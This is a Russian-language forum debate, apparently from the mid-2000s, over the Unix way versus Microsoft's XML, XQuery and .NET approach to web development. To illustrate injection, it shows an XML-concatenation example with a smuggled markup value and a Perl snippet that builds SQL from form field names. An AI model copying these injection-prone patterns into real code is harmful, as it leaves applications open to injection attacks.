И видов(типов) данных у них еще меньше - у гугла три типа данных: запрос, ответ, набор ответов.
Соответственно - понятно, что три странички можно за приемлимое вылизать хоть на ассемблере.
В корпоративных системах - речь идет о сотнях - тысячах страниц.
Соответственно, низкоуровневые языки уже не позволяют за приемлимые сроки разработать с надлежащим качеством такое большое кол-во страниц
Горе-программер напишет так:
String s = "<data>" + user_data + "</data>";
Предполагая, что user_data - это просто строка.
А там будет </data><meta>что-то опасное</meta><data>.
Точно так же, как в форумах вставляют HTML-фрагменты в посты.
> есть тенденция заменять sql на xpath
про проблемы - см. выше, они аналогичны
только я вот не понял, microsoft отменяет реляционные БД?
или к ним запросы будут на xpath?
можно ссылку на программный документ?
я так понимаю, MS SQL Server уже переименован?
> приведи, плиз, примеры структурированных данных
в каждых данных есть структура, адекватная задаче
иначе задача была бы не решена
я, стараюсь использовать в каждом случае наиболее простую структуру из возможных,
меньше времени (человеческого и машинного) тратится на преобразования, и отладка упрощается
благодаря простоте легко обработать данные сторонними/универсальными программами
кстати, какие сторонние/универсальные программы работают с документами MS Office, не используя кода Office?
или, кроме мета-описания, нужно ещё купить программу, создавшую данные?
(документы MS Office - наиболее популярный тип данных при работе в Windows).
.
преимущества журналирования файловых систем?
---
...Я работаю антинаучным аферистом...
ознакомься с gmail.google.com
Ссылок не дам, сам проверяй.В следующий раз получишь плюс. Иди отдыхай.
Какой из продвигаемых MS языков, не имеющий аналога под *nix, ты называешь высокоуровневым?
фразу "рулит на рынке уеп-технологий" я не произносил.Было сказано, что умирающий unix way для home-страничек. В посте прослеживалось противопоставление unix way и новых технологий от MS.
замечу - что все это простые примеры.Замечу, что например rambler это не только поиск и почта на www.rambler.ru, но еще и очень большое количество чисто уеп-проектов, многие из которых даже не имеют символики рамблера на морде. Число проектов исчисляется десятками, так что число сраничек можешь оценить.
Простые в том плане, что реальных страниц - у них дай бог десяток, но может быть сотня.
И видов(типов) данных у них еще меньше - у гугла три типа данных: запрос, ответ, набор ответов.
Соответственно - понятно, что три странички можно за приемлимое вылизать хоть на ассемблере.
В корпоративных системах - речь идет о сотнях - тысячах страниц.Я вот работал как-то в Oilspace. Типа делали конкретно корпоративные уеп-проекты уровня АСУ предприятия. Платформа - Linux.
Соответственно, низкоуровневые языки уже не позволяют за приемлимые сроки разработать с надлежащим качеством такое большое кол-во страницНе передергивай. Никто кроме тебя низкоуровневые языки не упоминал. Ты тут даже ассемблер в дискуссию ввёл для того, что бы было проще с нами разделаться. Извини, заметили.
1. так значит такому горе-программеру надо предоставить удобные средства по безопасной генерации такого xml-я:
например, такие:
new XmlDocument.CreateElement("data").AddText(user_data);
опять же подчеркну, что unix-way не поощряет такое использование, и скорее даже препятствует.
2. у xml-я есть структура и мета-данные
соответственно через тот же cas можно настроить следующее:
если код написан горе-программером, и при вызове такой-то функции xml содержит "что-то опасное", то дать такой функции по шее.> Точно так же, как в форумах вставляют HTML-фрагменты в посты.
так опять же это скорее путь диктуемый cgi, perl и php
в asp.net-е уже не так.
> или к ним запросы будут на xpath?
можно делать xpath-запросы
уже к серверу ms sql 2000 можно делать xpath запросы
> можно ссылку на программный документ?
> я так понимаю, MS SQL Server уже переименован?
http://www.microsoft.com/sql/2005/productinfo/top30features.asp
есть еще xquery:
http://whidbey.msdn.microsoft.com/library/default.asp?url=/library/en-us/wd_xquery/html/e40081e5-897d-4be3-995e-775cec8602da.asp
> кстати, какие сторонние/универсальные программы работают с документами MS Office, не используя кода Office?
из личного опыта: сейчас почти все генераторы отчетов позволяют делать word-овые документы без использования кода word-а.
можешь еще также посмотреть: http://www.google.ru/search?hl=ru&q=wordml&lr=
как раз, вроде, Open Office использует WordML
на данный момент, .Net в целом.
В web-приложениях, в целом, наблюдается глобальная тенденция отхода от unix-way-я:
1. Cgi -> php_mod/perl_mod
2. cgi -> asp -> asp.net
> Число проектов исчисляется десятками, так что число сраничек можешь оценить.
но каждый из проектов - простой по сути, по структуре обычно даже не сложнее форума.
посчитай на каждом из проектов - с каким кол-вом видов данных - эти проекты оперируют
если насчитаешь больше десятка - то давай ссылку.
так у них вроде видов данных не больше - это письмо и контакт.
---
...Я работаю антинаучным аферистом...
1. Cgi -> php_mod/perl_modТретий раз спрошу: "что ты имеешь в виду под CGI?". По твоему скрипт на perl или php это не CGI? Терминологически, любой тем или иным способом исполняемый код, аутпут которого отдается как веб объект является CGI.
2. cgi -> asp -> asp.net
но каждый из проектов - простой по сути, по структуре обычно даже не сложнее форума.Ну тебе наверное виднее.
да, признаю, ты меня подловил
хотя у IL-а есть черты, как низкоуровневого, так и низкоуровневого языка, но, имхо, все-таки это скорее низкоуровневых язык.
вместо AddText он будет использовать IncludeXML и формировать всё равно вручную, потому что так короче
а культурные люди - они в *nix будут использовать хорошие структуры и удобные библиотеки
даже XML, если он применим к задаче, но не всегда только XML, на чём настаиваешь ты
> и скорее даже препятствует
тебя опять кто-то обманул
> соответственно через тот же cas можно настроить следующее:
> если код написан горе-программером, и при вызове такой-то функции xml содержит "что-то опасное", то дать такой функции по шее.
как оно узнает, опасное или нет?
валидатором? тогда про проблемы я уже написал
> http://www.microsoft.com/sql/2005/productinfo/top30features.asp
опять какая-то наёбка
ты рассчитываешь, что я не умею читать, или как?
пожалуй, пора прекратить это, у тебя явно кончились доводы
про XPath там ни слова
про XML только то, что можно делать поиск в XML-документах
повторяю ещё раз, последний: где ссылка на отмену SQL как языка доступа к реляционным БД?
про поиск в XML мне не надо, я в курсе
> из личного опыта: сейчас почти все генераторы отчетов позволяют делать word-овые документы без использования кода word-а.
генерируют rtf? или используют библиотеку от OpenOffice?
как насчёт работы с документами, а не только генерирования их?
> как раз, вроде, Open Office использует WordML
у OpenOffice собственный формат на основе XML
и возможность импорта-экспорта в секретные форматы MS Office, после reverse engeneering
Беспесды - reverse engeneering секретных форматов и протоколов - наиболее удобный и прогрессивный способ, продвигаемый Microsoft!
про успехи WordML можно будет говорить, когда он станет форматом по умолчанию
не забываем Excel, PowerPoint, Access, Visio
запуск внешнего приложения которому на вход в текстовом (неструктурированном) виде передаются входные данные, а с выхода - также в неструктурированном виде берется результат.
На данный момент, UNIX-like environment является высокоуровневым средством разработки и платформой выполнения разнообразных приложений
Уже много лет
Но и там есть gs -dSAFER.
---
...Я работаю антинаучным аферистом...
запуск внешнего приложения которому на вход в текстовом (неструктурированном) виде передаются входные данные, а с выхода - также в неструктурированном виде берется результат.При переходе perl -> mod_perl, /usr/local/bin/php -> libphp4.so меняется только то, что исчезает fork+exec. Приложение всё так же остается внешним, данные всё так же не структурированы. Если ты не в курсе, то этот переход сделан не из соображений безопасности, а исключительно из соображений производительности.
текстовом или неструктурированном,--- передаются данные.
XML --- это тоже текст.
---
...Я работаю антинаучным аферистом...
зачем его отменять? пусть живет.
от ассемблера ведь тоже до сих пор никто не отказывается.
но для доступа из приложений удобнее использовать xquery.
> про XML только то, что можно делать поиск в XML-документах
значит не дочитал, в целом, в sql server 2005, граница между xml-ем и реляционными данными - очень размыта
http://msdn.microsoft.com/SQL/sqlreldata/XML/default.aspx?pull=/library/en-us/dnsql90/html/sql2k5xml.asp
> генерируют rtf? или используют библиотеку от OpenOffice?
генерируют wordML
ты хоть посмотрел, что такое wordML? и чем он отличается от doc?
используют, например, такое:
http://www.aspose.com/Products/Aspose.Word/Intro/Overview.html
> и возможность импорта-экспорта в секретные форматы MS Office, после reverse engeneering
> Беспесды - reverse engeneering секретных форматов и протоколов - наиболее удобный и прогрессивный способ, > продвигаемый Microsoft!
какой нафиг reverse engineering, когда ты можешь с microsoft.com скачать все описания:
http://www.microsoft.com/office/xml/default.mspx
ps
или это называется - мы не ищем легких путей?
> про успехи WordML можно будет говорить, когда он станет форматом по умолчанию
зачем ему быть форматом по умолчанию?
> не забываем Excel, PowerPoint, Access, Visio
а зачем им быть в точности такими же как Word?
они же оперируют с другими данными...
> текстовом или неструктурированном,--- передаются данные.
для unix-way-я - это все равно синонимы.
в первую очередь, конечно, неудобно то, что данные неструктурированные.
а текст - это всего лишь одно из представление данных понятное, как и машине, так и человеку.
ps
to Контра: в этом треде ты в первую очередь придираешься к мелким огрехам,
и почему-то не позволяешь себе высказываться по существу.
В чем дело?
С какой частотой в XML встречаются знаки с кодами 0--7, 9, 11,
12, 14--31, 127?
Как часто я могу встретить в XML, сделанном на виндовой
платформе, знак без предшествующего знака #13?
Знак без последующего #10?
Для того, чтобы увидеть в XML структуру,
надо иметь нехилый парсер.
Сравни с RFC2822 и логами.
"Чиста," пример:
@4000000041b56aff35b06474 tcpserver: status: 0/40
@4000000041b5704038004bcc tcpserver: status: 1/40
@4000000041b57040380cf214 tcpserver: pid 52119 from 192.168.1.220
@4000000041b570511b1b4afc tcpserver: ok 52119 :192.168.1.150:25 :192.168.1.220::3670
@4000000041b570511b5bd66c tcpserver: end 52119 status 256
@4000000041b570511b5d7c4c tcpserver: status: 0/40
@4000000041b6cc5a329eea6c tcpserver: status: 1/40
@4000000041b6cc5a32ab84fc tcpserver: pid 43622 from 192.168.1.220
@4000000041b6cc5f09c36d84 tcpserver: ok 43622 :192.168.1.150:25 :192.168.1.220::1310
@4000000041b6cc5f13e6f2a4 tcpserver: end 43622 status 256
@4000000041b6cc5f146221cc tcpserver: status: 0/40
@4000000041b6d0031b1d17ec tcpserver: status: 1/40
@4000000041b6d0031b297014 tcpserver: pid 44600 from 192.168.1.220
@4000000041b6d0031b3ec11c tcpserver: ok 44600 :192.168.1.150:25 :192.168.1.220::3815
@4000000041b6d0032260684c tcpserver: end 44600 status 256
Кстати, никогда не задумывался над тем, что некоторые
контекстно-зависимые грамматики разбираются проще
контекстно-свободных?
Ошибки при обработке всяких кавычек и т. п. возникают не потому,
что это настолько сложно, а из-за обыкновенной лени или спешки.
В частности, если у меня не бывает файлов с кавычками или
пробелами в именах, то я не буду страховаться ни от кавычек,
ни от пробелов.
Например, буду использовать find вместо find -0.
Зачем страховаться от того, чего нет?
Ты же не ходишь по улице в каске?
А вот когда обеспечение, предназначавшееся для внутреннего
использования, выпускается в свет, тогда только и выясняются его
недостатки. И это --- не зависит от того, есть там XML или нет.
Но в случае структурированного текста недостатки видны куда
лучше, чем в случае супа из открывающих и закрывающих тегов XML.
---
...Я работаю антинаучным аферистом...
http://msdn.microsoft.com/SQL/sqlreldata/XML/default.aspx?pull=/library/en-us/dnsql90/html/sql2k5xml.asp
многие примеры там - на SQL, и XML-документы в них - о, ужас! - окружены одинарными кавычками!
или вот:
По-твоему, это XML? Я бы сказал, это язык программирования, изобилующий разными спецсимволами.
От того, что код окружён тегами, проблема спецсимволов не исчезает.
Ну и надеюсь, чтобы сделать запрос с объединением нескольких гигабайтных таблиц, не придётся сначала их преобразовывать в XML,
а потом искать в результате?
Что-то не увидел примеров с JOIN.
Как это выглядит на XML?
Похоже, ненужность SQL в новом мире сильно преувеличена.
Отказ от спецсимволов - тоже.
> какой нафиг reverse engineering, когда ты можешь с microsoft.com скачать все описания:
только вот по почте мне придёт файл в формате .doc, а не WordML
и толку-то от описаний
а вообще похоже, что додавили MS
испугались наверное стандартизации форматов Open Office
похоже, есть повод бухать
> многие примеры там - на SQL, и XML-документы в них - о, ужас! - окружены одинарными кавычками!
или вот:
<bookstore>
{for $s in /bookstore/book
where $s/@genre='autobiography'
return $s/title}
</bookstore>
По-твоему, это XML? Я бы сказал, это язык программирования, изобилующий разными спецсимволами.
От того, что код окружён тегами, проблема спецсимволов не исчезает.
Ну и надеюсь, чтобы сделать запрос с объединением нескольких гигабайтных таблиц, не придётся сначала их преобразовывать в XML,
а потом искать в результате?
Что-то не увидел примеров с JOIN.
Как это выглядит на XML?
Похоже, ненужность SQL в новом мире сильно преувеличена.
Отказ от спецсимволов - тоже.
> какой нафиг reverse engineering, когда ты можешь с microsoft.com скачать все описания:
только вот по почте мне придёт файл в формате .doc, а не WordML
и толку-то от описаний
а вообще похоже, что додавили MS
испугались наверное стандартизации форматов Open Office
похоже, есть повод бухать
> платформе, знак без предшествующего знака #13?
> Знак без последующего #10?
чем и кому - это мешает?
> Для того, чтобы увидеть в XML структуру,
> надо иметь нехилый парсер
зато стандартный и один раз написанный
> Ошибки при обработке всяких кавычек и т. п. возникают не потому,
> что это настолько сложно, а из-за обыкновенной лени или спешки.
1. пользователем от этого не легче
2. AFAIK, почти все ПО написано в спешке и от лени.
> Зачем страховаться от того, чего нет?
тем, что такой путь увеличивает связность системы - соответственно повышает (причем экспонециально) стоимость внесения изменений.
при такой экономии на спичках - при внесении любого изменения необходимо перепроверять весь код системы - вдруг какой-то нехороший человек забыл проверить параметр на кавычки.
т.е. в результате - получается медлительная система - в том плане, что такая система медленно реагирует на внешние изменения среды.
> испугались наверное стандартизации форматов Open Office
> похоже, есть повод бухать
ты передергиваешь.
WordML - появился еще в 2002-2003, а open office решили стандартизовать только сейчас
> От того, что код окружён тегами, проблема спецсимволов не исчезает
зато вход и выход идет уже в xml, т.е. это еще один шаг к "светлому будущему".
что эту ошибку найдут.
А законы Мерфи действуют независимо от нашего сознания.
Перепроверять весь код системы надо при любом изменении.
Сокращать перебор можно только если уверен, что входные
параметры удовлетворяют сделанным допущениям.
---
...Я работаю антинаучным аферистом...
но зато это твоё личное дело, подписывать её или нет.
То есть это ещё один шаг к светлому будущему.
---
...Я работаю антинаучным аферистом...
я бы не сказал, что xml вместо родного массива для представления кортежа - это шаг вперёд
а вот перемешивание кода, SQL и XML - это худшее из того самого "php-стиля"
я бы не стал называть это достижением в каком-либо смысле
XML - это по сути всего лишь синтаксис для записи S-выражений, которые начали использовать в 60е.
Да и синтаксис придумали не в Microsoft.
Использование абстрактного безопасного языка было уже в лисп-машинах.
UNIX их вытеснил, о причинах подробно написано в UNIX Haters' Guide (есть ли он в FAQ?)
Остальные нововведение от MS, если не совсем очевидны, сразу находят себе аналоги среди более ранних продуктов.
В чём же заслуга Microsoft?
А очень просто: выбирают некоторые из интересных идей, и заставляют всех разработчиков их использовать.
"Thou shalt use XML" - вещает голос с неба. Возможные ответы: "Да", "Есть!" и "Так точно!". "Resistance is futile".
А зачем это?
А очень просто: Microsoft берёт какой-то свой внутренний инструмент, и публикует его.
Остальные разработчики под Windows вынуждены его изучать, переносить свой код.
У некоторых из них уже были подобные инструменты, их приходится выкидывать.
Так достигается конкурентное преимущество.
ищи, или не ссылайся
---
...Я работаю...
Чтобы не было проблем с код инжекшион в ADO.NET использую параметризованные команды или хранимые процедуры. Аналогично и в XML. Какие проблемы?
Важно не то, кто сделал первый, а то насколько последовательно и повсеместно внедряются/используются новые "фишки".
Вот ты постоянно говоришь - здесь ничего нового - это было в продукте A, а это было у B, а вот то давно было сделано в C - и что дальше с этим знанием делать? Ставить себе на машину как-то A, B и С вместе?
Если отвечаешь, то отвечай отдельным сообщением.
Я не обязан перечитывать собственные послания,
которые я хорошо помню.
В особенности --- когда они находятся на другой странице.
Если ты перечитаешь обсуждение, то увидишь, что доводы
Спольского начал приводить , а я всего лишь обратил
внимание на сам факт цитирования.
Кстати, Спольский был не последним человеком в "Микрософт,"
а потому его мнение надо бы учитывать не только униксоидам.
Ссылка для затравки: http://joelonsoftware.com/
---
...Я работаю...
Я бы сказал, что внедрять новые фишки нужно не повсеместно, а там, где они полезны.
@criteria = ;
while $erty, $value) = keys (%FORM_INPUT {
push @criteria, "$erty = \'" . escape($value) . '\'';
}
$query = 'SELECT * FROM table WHERE ' . (join ' AND ', @criteria);
Похожий код, только на php и менее общий, используется в этом форуме.
Изобрази мне его на параметризованных командах.
Да, правда ли, что вызвать escape сложнее, чем xml.AddText ?
> Аналогично и в XML
И как в XML?
Оставить комментарий
Dasar
> У них не командная строка, у них ActiveX или как это теперь называется.Вопрос:
как под unix-ом автоматически сделать следующее:
открыть AutoCad (или другое неконсольное приложение)
вставить туда пару кубиков,
сохранить,
полученный документ вставить в офис (текстовый процессор
добавить шапку, логотипов по вкусу,
распечать результат.